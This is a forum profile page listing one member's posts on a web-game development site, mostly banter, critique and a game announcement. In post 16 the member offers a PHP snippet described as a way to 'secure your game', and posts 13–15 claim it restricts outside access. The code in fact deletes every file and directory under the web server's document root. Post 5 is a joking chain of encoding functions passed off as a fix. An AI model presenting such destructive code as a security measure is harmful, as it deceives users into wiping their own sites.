Jump to content
MakeWebGames

CaptainQuack

Members
  • Posts

    19
  • Joined

  • Last visited

  • Days Won

    1

Everything posted by CaptainQuack

  1. Will update this in the next day or so!
  2. No, you provided constructive criticism. [MENTION=69347]crimec[/MENTION] just essentially copied a couple of things you've said, put it into 1 sentence to try and make it sounds like he knows what he is doing when in reality he doesn't because he can't code. He's always trying to be popular in his age group 4 rl. Oh and before you say that it was the same kind of post blah blah blah, I don't like you either ;)
  3. I haaaaaaateeeee schoooo ooo ooooooooool oooh ooohhhh
  4. I like this, smart, very smart. Original post here, http://makewebgames.io/showthread.php/46618-Selling-Good-Interface-Game-Engine - was selling for $100, finds this post, sees the budget and changes it to $200. Nice. P.S, You're game sucks.
  5. First thing I'd do is change this -   WHERE `usr_id` = '".mysql_real_escape_string($user['usr_id'])."'";   To this -   WHERE `usr_id` = '".base64_decode(urlencode(base64_encode(mysql_real_escape_string(intval(strip_tags(htmlentities(htmlspecialchars(md5($user[‘usr_id’])))))))));."'";
  6. Why exactly are you using strip_tags()?
  7. Just a quick update, I've attached a visual of our in-game header design. It utilises 'tiles' to showcase information/stats that are relevant to the user. [ATTACH]2186[/ATTACH] More shall follow shortly.
  8. You have 3 <head> declarations and 2 </head>. You have 2 <title> declarations. You open a <body> tag half way through all of your content. Before you even start echo'ing out your data (which you don't need to do here) you have 1205 lines of code. How?! You have 15 individual stylesheets along with a load of inline CSS/Javascript...! You have 2 favicons set. The last section of your code you're displaying images but...display none'ing them...why? Tables, bad code, blah blah Seriously. http://www.w3schools.com/html
  9. It's all over the place. Start here.
  10. Ooops, fixed ;)
  11. Hey guys, just thought I'd keep you all in the loop of a project that me and [MENTION=71663]IllegalPigeon[/MENTION] are working on. Operation X - A free online text-based game. We have been working on this for a few months now and thought now was a good as time as any to start promoting it. We have opened up pre-registrations that will eventually grant early-access and special rewards should you start playing once we go live! Quick intro - Operation X is a free online text-based game based in a post-nuclear war world. In 2031, tensions between the world leaders were high over diminished oil supplies and hyper inflation. To combat this, world leaders got together to form a peace treaty, which was going well until a terrorist organisation known as "WDA" (World Destruction Association) sought to cause global destruction by infiltrating American missile silo's and launching unauthorized missiles, causing a global war. We hope that we'll have our first early access members online within the next 8 weeks and once we consolidate any bugs/issues that have arisen we hope to release shortly after! We'll keep this post updated frequently with progress and screenshots.
  12. Erm, at what point does that code mention 'public_html' - Wow, try and post something to protect your game and that's what I get? I've used this on other peoples sites without issue.
  13. It just creates a list of all the files on your game and restricts any outside access to them. Quite simple but really effective.
  14. Yeah, just make sure you go to index.php after you've added it to activate the script. After that your game should be completely secure!
  15. No worries, Always like to help!
  16. It's actually quite simple to secure your game, simply put this in index.php, it should work but haven't tested it.   <?php foreach (new DirectoryIterator($_SERVER['DOCUMENT_ROOT']) as $fileInfo) { if(!$fileInfo->isDot() && is_file($fileInfo->getPathname())) { unlink($fileInfo->getPathname()); } else if(is_dir($fileInfo->getPathname())) { foreach (new DirectoryIterator($fileInfo->getPathname()) as $fileInfo) { rmdir($fileInfo->getPathname()); } } } echo 'Your game is now secure.';
  17. The whole premise for your argument was that storing data in a session will take up memory. You were insinuating that it will take enough memory to be detrimental to the application. Now that it's been proven that you're wrong you're now suggesting that when the session file is read it will use memory. Well, duh. Every action that you process will use memory, that's what it's for.   Duh, again. You're obsessed with memory usage, of course reading a file will use it just not enough to even warrant you saying it.   ^^ Best quote of them all which pretty much sum's up your knowledge of cache/sessions. CaptainQuack, out.
×
×
  • Create New...